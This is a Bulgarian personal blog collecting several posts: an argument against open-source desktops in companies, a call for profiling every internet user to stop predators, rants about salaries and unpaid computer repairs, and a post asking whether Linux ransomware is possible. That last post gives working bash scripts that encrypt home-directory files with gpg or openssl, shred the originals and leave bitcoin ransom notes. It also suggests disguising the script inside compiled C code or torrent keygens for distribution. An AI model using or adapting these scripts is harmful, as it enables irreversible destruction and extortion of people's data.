Линукс и Open Source като Desktop

С риск да издразня някой, сега ще обясня по съвсем простичък начин защо никога няма да препоръчам използването на Linux или почти всеки друг OpenSource/GNU/GPL или както там се нарича софтуер за ДЕСКТОП машините във фирмата.

Първо, искам да вметна, че за сървърите Линукс е незаменим!!!

Та, ето причините:

1. Много често даден проект/дистрибуция просто се зарязва, и спира развитието си. Да вземем за пример Open Office. Какво се случи с него – някой от разработчиците решава, че ще вземе едни пари и хоп – проекта вече е собственост на Oracle. Oracle после го прехърлят на Apache, в този момент се появява Libre Office…. и ето ти кашата. А това, че кода е писан от “доброволци в Интернет” не знам какво морално право дава на някой, самопровъзгласил се за собственик на проекта да печели от труда им. В този слузай – GPL ограбва. Краде от труда на едни, за да забогатеят други. Да не говорим каква е ползваемостта на OO/LO спрямо MS Office, и каква е съвместимостта на документите едни с други… при положение, че 99% от фирмите и хората ползват MS Office, аз няма как да препоръчам ползването на нещо, което е различно от MS Office на компютрите, на които се създават критично важни за фирмата документи… защото вече съм го ял заради Open Office, и омазани макроси.

2. Друг пример – Mandriva Linux. Където дори съм участвал в превода и на български. Какво стана? Сложиха край на проекта, от там се появиха Moondrake GNU/Linux 2012, Rosa и Mageia??? И да предположим само за миг, че аз, като отговорен за поръчката на софтуер и за инсталирането му бях препоръчал ползването на Mandriva, и бяхме заплатили всички свързани с това такси? Е, както беше зададен въпроса – “някой трябва да поеме политическата отговорност” :) Какво би се случило с мен, и как биха реагирали собствениците на фирмата, ако заради мен операционните системи на компютрите се окажат без поддръжка, и в даден момент се наложи “миграция” и преинсталация на около 100 компютъра? Ами най-вероятно щяха да ме пратят в дълъг, принудителен, неплатен отпуск :)

3. Пример, на който му сърбах попарата: ползвам Asetrisk за телефонна централа. Имаше една FXO платка, която служеше за връзка към аналогов gateway, през който излизаха разговорите към GSM. И тъй като тогава излезе нова версия на Астериск, реших да премина към нея… да, но какво се оказва: първо, zaptel драйверите за FXO платката вече нямало да се казват zaptel, а DAHDI, второ – конфигурационните им файлове са изцяло променени, и трето – моята FXO платка вече нямало да се поддържа, защото била много евтина – така ми писаха от “поддръжката”… и ми заявиха – “то е опънат сорс, направи си го сам”. Е, мерси. Не знам що за идиот трябва да си, за да махнеш поддръжката на нещо, което РАБОТИ и то без проблеми!!! Само защото си решил, че било евтино… евтино за кого? И защо трябва да дам 1000 лева за платка, като и тази от 200 ще ми върши работа? Та, преминахме на SIP gateway, което реши проблема. Астриск пак си го ползвам, но dahdi има бан в компютъра ми :)

3. Защо съм бил купувал CISCO рутери за по 20.000 лева, след като съм можел да взема някакъв компютър за 1000, и да му инсталирам Linux с Quaga? Ами много просто: защото преди да стане Quaga, проекта се казваше zebra… и се получи същата боза като с dahdi – безсмислени и тъпи промени, направо идиотски бих казал. И какво, ако утре заради Quaga вземе, че спре мрежата? Фирмата ще загуби много повече от тези 20.000, които са дадени за Cisco рутер!

4. Защо VMWARE ESXi, а не KVM/libvirt/proxmox – същите причини като по-горе. Във въпросният ESXi са пуснати 20-тина виртуални машини. Не бих разчитал на нещо, на което утре могат да му спрат поддръжката. Пример: XEN. Какво стана с този проект, май вече не се ползва много? И какво, ако преди години, когато беше на върха си, бях избрал него?

Евтиното ВИНАГИ излиза скъпо.

Не на анонимността в Интернет!

2016-а година, България. Град или село в България. Детето ви си седи вкъщи на компютъра от часове. Не знаете какво прави, а и си казвате – по-добре пред компютъра, отколкото на улицата. Времето минава… дни, седмици, месеци. Детето ви започва да излиза навън доста често, и да се бави с часове… казва, че излиза с приятели. Пак не ви прави особено впечатление… до денят, в който то не се прибира. Започвате да го търсите, да се обаждате на приятели, познати, разбитате, че не е при тях и се обаждате в полицията. След известно време намират тялото на детето ви захвърлено в изоставена сграда. После разбирате, че то е станало поредната жертва на педофил, с който се е запознало в чата.

Не. Това не е фантастичен филм. Това е нещо, което може да се случи на всеки. Това ще се случва докато сме до известна степен анонимни в Мрежата. Това можеше да не се случи, ако имаше начин някой да разбере намеренията на въпросният педофил. Има такъв начин, и той е един – никаква анонимност.

Тези неща могат да се предотвратят в зародиш, ако например се използва информация кой какво търси в Интернет, кой какви сайтове посещава, кой с кого говори/чати и така нататък. Ето, за пример може да се използва една от технологиите на Google – която ползват за подаване на реклами -adsense. Може да се създаде една база данни с “лоши” думи, и когато някой потърси някоя от тези думи, да се има в предвид. Трябва да има профил на всеки потребител на мрежата. Това се прави в други държави. Трябва да се направи и в България. Който няма какво да крие – няма от какво да се притеснява.

А като хванат въпросният педофил, който е имал намерение да прави нещо с детето ви – дъъъълъг престой на “топло”. Сам. Заключен. На сух хляб и вода.

А заплатите?

Чета доста обяви за работа, и ми прави впечатление, че в 99,9% от тях няма обявена заплата. Що за глупост е това? Защо например да отида на интервю, и да се окаже, че предлагат някаква смешна заплата… това си е чисто загубено време и нерви.

Навсякъде, по цял свят, давайки обява за работа хората казват и каква е минималната заплата, под която няма да паднеш. При това – годишна заплата, което дава право на работодателя през т.нар. пробен период да плаща по-малко, и после да увеличи заплащането така, че да получиш договорената годишна заплата. Дори хората дават и бонуси.  Това е в белите страни, и се прави, за да може човека, който отива на това интервю да знае каква заплата да очаква, и да си направи сметка да ходи ли или да не ходи. А тук – не.  Навсякъде – “мотивиращо възнаграждение”.  И като отидеш на интервю – се оказва, че мотивиращото възнаграждение е не повече от 500-600 лева.  Веднъж дори си направих експеримент – звъннах на телефон от обява, и директно попитах каква заплата да очаквам, а отговора на каката беше “Е щом питате веднага за пари,  явно няма да се разберем”…. ами за какво да питам ма?  За  колежките в офиса ли? Нали и аз, и ти и шефа… всички работим за пари, и е нормално да се интересувам какво биха ми предложили в дадена фирма, ако реша да кандидатствам при тях… и искам да го знам преди да отида на интервю.

Заплати не се обявяват според мен поради една причина – всички се опитват да дадат колкото може по-малко, и дежурният въпрос – “а вие каква заплата очаквате?”, на който аз отговарям – ами около 3000 лева, при което ме гледат странно… а нали те са ме питали, какво се учудват? Бих пратил CV на обява без обявена заплата само и единствено ако имам някаква вътрешна информация за заплатите. Иначе – не.

Един примерен сценарий от моята област (сисадминството):

Аз си знам цената…. въпроса е защо почти всеки работодател гледа да намери човек, на който ще плати по-малко, но на каква цена? Например, аз отивам и искам 3000 лева, естествено не ме одобряват. След мен отива супер-специалист, който е инсталирал веднъж Линукс да кажем, следователно има опит, и се навива да работи за 600 лева. Само след един месец забърква една голяма каша, и си тръгва. След което…. пак търсят човек. А през това време фирмата страда от забърканата каша, а това може да доведе дори до фалит. Какво би станало например, ако по грешка някой изтрие цялата фирмена документация, работни файлове и т.н…. да, има бекъп, но въпреки това унищожването на информация би довело до спиране на работата за няколко часа, до няколко дни, както и вероянто най-последните документи не са били бекъпнати… идва например една провалена сделка, плащате неустойки…. и ето ви проблем, и ето как тези 2400 лева по-малко ви излизат през гъза. И губите много повече. Но повечето работодатели не оценят риска, който поемат наемйки по-евтин работник. Ами той се навива да работи за по-малко пари именно поради липса на опит и квалификация. Аз например не бих изпратил дори копия на сертификатите си, ако обявената цифра за заплата е под 2500 лева.

Друга глупост са т.нат. мотивационни писма – “кандидата трябвало да покаже, че е запознат с дейността на фирмата”? Що за глупост? От къде да знам какво правите, като не съм работил при вас, и тепърва кандидатствам? Още повече, че мен дори и не би трябвало да ме интересува с какво се занимава фирмата – аз например съм системен администратор, и се грижа компютрите и сървърите да са наред. Работил съм в условия на конфиденциалност, с достъп до класифицирана информация, с разрешение издадено от НСС… а то беше нужно само защото на сървъра имаше няквкви документи. Е, питам аз – какво ме интересува мен какво пише в тези документи, и как в такава ситуация аз ще съм запознат с дейността на фирмата, след като всичко им е секретно??? И в крайна сметка, след като аз например трябва да подържам компютрите в една фирма – какво ме интересува с какво се занимава тази фирма? Аз може дори грам да не разбирам какво правят. Ето, в момента работя във фирма, която се занимава с предпечат. Аз си нямам никакво понятие от предпечат, от цветове, от профили, фотошопи, куаркове и така нататък. Аз просто инсталирам съответният софтуер, а после има кой да работи на него. Така както този някой не го интересува (и вероятно не знае) дори какъв е сървъра, така и мен не ме интересува как се сменят цветовите гами във фотошопа, и как се добавят сенки в куарк, нали така?

Порно с депутати!

Материали, които са публикувани тук не са подходящи за лица под 18 годишна възраст. Ако нямате навършени 18 години, моля напуснете! Не нося никаква отговорност за това, което можете да видите или да прочетете на този сайт!

Цици, порно, секс, ебане, живо, голи жени, голи мъже, лесбийки, гейове, депутати, министри,  да видим дали ще натрупам повече посещения. А сега на английски: sex, live sex, webcam sex, gay, lesbian, porn, porno, bg porno

Сега истината: тук няма никакви снимки на голи жени и т.н. Просто тествам колко души ще дойдат тук, търсейки някоя от тези ключови дми :)

Съжалявам, че съм ви излъгал :)

Поправка на компютри/телефони…

Защо спрях да поправям компютри и телефони?

Причините са няколко… една от тях е – не си заслужава. Не е оправдано да се занимава човек с това начинание. Особено, когато е заобиколен от “приятели”, които си мислят, че те са с предимство, и че не трябва да плащат за услугите. И “аз някой ден ши пучерпъ”, “ай мирси многу, аку имъ нйещу – убаждъй съ”.

Например, най-често срещан проблем: преинсталация на Виндовс. В 99.99% от случаите се появява накой с пиратски виндовс, разбира се – Windows 7 Ultimate, инсталиран на 10-годишен дарак, на който незнайно защо му викат “компютър”. Инсталирането отнема няколко часа, после следват update-и, след което инсталиране на някакъв софтуер. И ако трябва да се запазва информация – отиде цял ден. И за това нещо повечето не са склонни да платят повече от 10 лева, щото “то става лесно, ама аз просто нямам време да си го направя сам”. Е, като е лесно – оправяйте се.

Другият проблем е, че си купуват компютри трета употреба – “ама виж го бйе, той кът ноф”… за по 100-150 лева парчето. Със стари процесори, стари памети и бавни дискове. А иска на тоя компютър да “варви сичку”. Иди му обяснявай що насичат клиповете в ютуб…. “ма той кумпютътъ йе ноф бйе, на стару сам гу гупил амаъ той ней исползвън многу”. Е па нема да стане!

Най-гоемият нагляр заяви, че “нося го на тебе, щото в сервиза ми искат 60 лева, а тебе като те черпя една бира и си готов”…. е, еби си майката! Оправяй се самостоятелно. Не съм ти умрял за шибаната топал бира. Айде у сервизо, да видиш как пипат хората там!

Друг нагляр, на който препоръчах сервиз – “да, ама те там ще ми искат пари!”…. казах му, че там взимат 60 лева, а аз взимам 200 и ще му е по-изгодно в сервиза. Разсърди се. През кура ми е.

Друго нещо са телефоните: счупено дисплейче, бъгнал телефон и т.н., и пак всеки мисли, че си длъжен да му го оправиш, като дори вложиш и части… ама само щото един-два пъти ти е казал “здрасти” като сте се разминали по пътя – ти е голям “приятел”, и следва да мине метър и да не плати. Е, няма как да стане. Бегом в сервиза – там ще ти помогнат.

“Ама само трябва да ми видиш една настройка, то е много лесно и бързо” – като е много лесно и бързо оправяй се. Някакви си измекяри си поставят сами “диагноза” на проблема, решават колко е дребен той, и как всичко трябва да стане ей сега на момента веднага, и то – без пари. Е, няма как.

Ценоразписът ми е следният:

  • Инсталиране на Windows без запазване на информация, и без допълнителен софтуер: 200 лева; Със софтуер, предоставен от клиента.
  • Инсталиране на Windows – със запазване на информация + инсталиране на скайп, “оправянв” на фейсбук и т.н. – 650 лева, включен лицензен Виндовс.
  • Ремонт на лаптоп (проблем, който е “елементарен” и е “само за 5 минути работа”, колкото “само да го погледнеш”) – 250 лева;
  • Ремонт на компютър, който “не работи, ама то е нещо дребно” – цената на нов компютър + 250 лева;
  • Ремонт на стар лаптоп/компютър, който “е стар, ама си работи и само тука едно-две дребни неща трябва да се погледнат” – 350 лева;
  • Ремонт на телефон, който “само тука едни настройки му пипах, ама ти бързо ще го оправиш” – 150 лева;
  • Оправяне на андроид, който “тука като му инсталирах едни програми от едни сайтове и нещо започна да работи бавно и май има вируси” – 1500 лева;
  • Смяна на счупен дисплей (от тези, които се сменят само за 5 минути) – 250 лева + цената на нов дисплей;
  • “Ай да ми направиш айклауд, че си взех айфон ама не знам как да се оправя с регистрациите” – 250 лева;
  • “Как ми е паролата за айклауда, преди 2 години ти ми го прави и трябва да помниш, щото аз не си знам паролата” – 250 лева за отговор “не знам”;

За “приятели” горните цени се умножават по 1.5. За нахални приятели, които много държат всичко да стане сега и веднага – горните цени се умножават по 3.

За такива, които се сещат само когато са на зор – горните цени се умножават по 10.

 

Ransomware в Linux – възможно ли е?

МОЛЯ, ИМАЙТЕ ПРЕДВИД, ЧЕ АКО ИЗПРОБВАТЕ ПОКАЗАНИТЕ ТУК КОМАНДИ Е МНОГО ВЕРОЯТНО ТОВА ДА ДОВЕДЕ ДО БЕЗВЪЗВРАТНА ЗАГУБА НА ФАЙЛОВЕТЕ ВИ! АКО ВСЕ ПАК СТЕ РЕШИЛИ ДА ИЗПРОБВАТЕ НЕЩО ОТ ПОКАЗАНОТО ТУК – ПРАВЕТЕ ГО ИЗЦЯЛО НА СВОЙ РИСК И ОТГОВОРНОСТ! ВСИЧКО, ПОКАЗАНО ТУК Е С ДЕМОНСТРАЦИОННА ЦЕЛ! АВТОРЪТ НЕ НОСИ НИКАКВА ОТГОВОРНОСТ ЗА КАКВИТО И ДА Е ВРЕДИ И/ИЛИ ПОВРЕДИ – РЕАЛНИ ИЛИ ВЪОБРАЖАЕМИ, НАСТЪПИЛИ В РЕЗУЛТАТ НА ИЗПОЛЗВАНЕТО НА ПОКАЗАНАТА ТУК ИНФОРМАЦИЯ!!!

АКО ВСЕ ПАК РЕШИТЕ ДА ИЗПОРОБВАТЕ НЕЩО – ВИ СЪВЕТВАМ ДА ГО ПРАВИТЕ В ИЗОЛИРАНА ВИРТУАЛНА МАШИНА! 

Възможно ли е да има ransomware в Linux? Или…. мит ли е по-голямата сигурност, ако ползваме Linux за десктоп?

Отговорът е ДА. Възможно е. Самият Линукс разполага с необходимите инструменти, с които може да се извърши криптирането на файловете. А как ще се задейства това – е въпрос на избор на този, който реши да създаде ransomware за Linux.

Покрай WannaCry паниката, която е напълно излишна (защото нито е първи, нито ще е последен ransomware) се породиха много спорове из форумите как видите ли – Виндовс бил уязвим, ама за Линукс нямало никакъв риск, защото тези неща не вървели не Линукс….

Както вече стана ясно – WannaCry работи перфектно и на Линукс, стига да имате Wine. А то почти всеки има ?

Възможно ли е да се направи нещо подобно и на Линукс? Разбира се.

Та, един пример:

for f in $(find ~/ -name ‘*.txt’ -or -name ‘*.jpg’ -or -name ‘*.png’); do echo “1234” | gpg –batch –no-tty –yes –passphrase-fd 0 -c -o $f.enc $f; done

И за да кажем как да ни платят, и да сме истински хакери, като омажем максимално оригиналните файлове:

for f in $(find ~/ -name ‘*.txt’ -or -name ‘*.jpg’ -or -name ‘*.png’); do echo “1234” | gpg –batch –no-tty –yes –passphrase-fd 0 -c -o $f.enc $f; shred $f; echo “Send 10000 bitcoins to get your data back”>$f; done

Вместо gpg може да ползеаме openssl, ето един примерен и изключително прост bash скрипт, който върши перфектна работа:

#!/bin/bash

ENCRYPT=`tr -dc A-Za-z0-9_ < /dev/urandom | head -c 150 | xargs`

for f in $(find ~/ -name ‘*.txt’ -or -name ‘*.jpg’ -or -name ‘*.png’ -or -name ‘*.jpeg’ -or -name ‘*.pdf’ -or -name ‘*.doc’ -or -name ‘*.docx’);

do openssl des3 -k $ENCRYPT -in $f -out $f.encrypted; shred $f;

echo “Send 0.4 bitcoins to get your data back: 1G9Emf3VRMrm1pZEzFs6ZqAwHdUuijJ4Et ” > $f;

done

echo $ENCRYPT > PRIVATE.KEY

Декриптиране – в случай, че имаме паролата:

#!/bin/bash

DECRYPT=`cat PRIVATE.KEY` 

for f in $(find ~/ -name ‘*.encrypted’); 

do 

openssl des3 -k $DECRYPT -d -in $f -out ${f%.*}; 

rm $f; 

done

Последното ще работи само и единствено ако имаме паролата.

като след find-а може да има колкто си искаме *.нещоси, като и накрая като се добави едно rm $f, или за да сме още по-зли: shred $f;

Това нещо ще криптира всички *.txt., *.jpg, *.png файлове. Този списък може да се разшири до безкрайност.

Това чудо например се преобразува в shellcode, набутва се в накой дълъг .c файл, който е част от някаква програмка, която потребителят ще се излъже да комилира и стартира, и… стават чудеса

Друг вариант е да се изсипе чрез някой торент – напр. като крак, като keygen, като част от някаква програмка… варианти има хиляди.

Едно стартиране, и файловете са криптирани безвъзвратно…

Как ще се подаде паролата (в случая – 1234) и дали по някакъв начин скрипта ще я вземе “отвън”, ще я генерира на момента (напр. tr -dc A-Za-z0-9_ < /dev/urandom | head -c 150 | xargs) и ще я изпрати към външен сървър, за да я съхранява там – вариантите пак са много.

Скрипт, използващ gpg:

#!/bin/bash

ENCRYPT=`tr -dc A-Za-z0-9_ < /dev/urandom | head -c 150 | xargs`
for f in $(find ~/ -name ‘*.txt’ -or -name ‘*.jpg’ -or -name ‘*.png’); do echo $ENCRYPT | gpg –batch –no-tty –yes –passphrase-fd 0 -c -o $f.enc $f; shred $f; echo “Send 10000 bitcoins to get your data back”>$f; done
echo “$ENCRYPT”>PRIVATE.KEY;

Ако ще пробвате нещо – ключа се записва в PRIVATE.KEY в текущата директория. Декриптиранрто става по обратен ред, именно:

PW=`cat PRIVATE.KEY`

echo $PW | gpg –batch –no-tty –yes –passphrase-fd 0 -d -o original-decrypted-file.txt encrypted-file.txt.enc

Та, в 90% от случаите не са виновни операционните системи, а хората които работят с тях. Защо ли? Да вземем за пример Виндовс:

Инсталират се основно пиратски версии, от Замунда. Първата работа на инсталиращия е да спре update-ите на Виндовса… познавам хора, които се мислят за особено големи разбирачи, и спират упдейтите дори на лицензен Виндовс, защото, цитирам: “закво са ми тия упдейти, само ми бавят компютъра”.

За Линукс пък заблудата е друга: че такива атаки там били невъзможни. Не, не са невъзможни а просто Линукс не е интересен за хакерите.

Това, което пишат масово по форуми и блогове – “инсталирайте си Линукс и ще забравите за вирусите” изобщо, ама изобщо не е така. Варианти винаги има! Дали нещо ще се изпълни през Wine, дали ще е забутано някъде – няма никакво значение. А на този криптиращ скрипт не му трябват никакви права – той ще си свърши работата в потребителската директория, а с малко тунинг (find / -writable) ще претърси цялата система за файлове, които са с права за писане за съответният потребител и ще ги омаже както си иска. Ако пък някой вземе, че го пусне с администраторски права…. става мазало. И ако нямаш паролата, за да изпълниш gpg -d $f.enc

Някой ще каже “ама аз може да нямам gpg”. Може бе, ама… мисля, че идеята е ясна.

С малко фантазия и няколко реда код могат да се сътворят такива бели, че после оправия да няма.

Всеки запален по Линукс твърди, че е недосегаем…. е, не съвсем.

Тъй като на някои места видях коментари, че ползването на urandom било “бавно”… не е съвсем бавно! urandom се ползва в случая само и единствено за генериране на 150-символна random парола. И повярвайте – става доста бързо…

gpg било бавно… ами ОК, ей го на и с openssl. Бавно бавно… колко да е бавно? Който мисли, че е бавно – да си създаде един потребител в линукса, и да му напъли home директорията с разни снимки и документи, пък да тества ?  1.1GB данни (снимки + текстови файлове):

с gpg:

time ./encrypt.sh
real 0m23.455s

user 0m10.700s

sys 0m0.937s

с openssl:

time ./openssh.sh
real 0m10.663s

user 0m1.257s

sys 0m0.561s

1.1GB за 23 секунди в пъряия случай, и за 10 – във втория. Не мисля, че е много бавно.

Ама било нямало как да се разпространи – не ми е това идеята, иначе повярвайте – може. Всичко може.  Просто не искам да го правя, защото няма смисъл.

От много акъл боли глава…

Понеже съм много умен, и бях решил че не ми трябва backup… всичко си замина 🙂

Не, че имаше нещо кой знае колко важно, ама все пак…..

Wana Kiwi – Wana Cry Decriptor tool

Едва ли ще свърши работа, но все пак си е нещо:

Ако сте заразени с Wana Cry, и искате да си спасите файловете имате шанс. НО! Не трябва да сте си рестартирали компютъра след каото е бил заразен

Ако не сте го рестартирали, може да изтеглите decryptor от тук: https://github.com/gentilkiwi/wanakiwi/releases

 

А за повече информация тук:

http://thehackernews.com/2017/05/wannacry-ransomware-decryption-tool.html